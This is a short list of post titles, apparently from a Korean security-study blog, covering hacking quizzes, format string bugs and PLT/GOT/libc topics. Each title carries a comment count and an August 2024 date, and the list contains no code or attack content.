시스템 해킹 퀴즈 모음 (0) | 2024.08.30 |
웹 해킹 퀴즈 모음 (0) | 2024.08.30 |
Format String Bug (0) | 2024.08.18 |
PLT / GOT / libc database (0) | 2024.08.15 |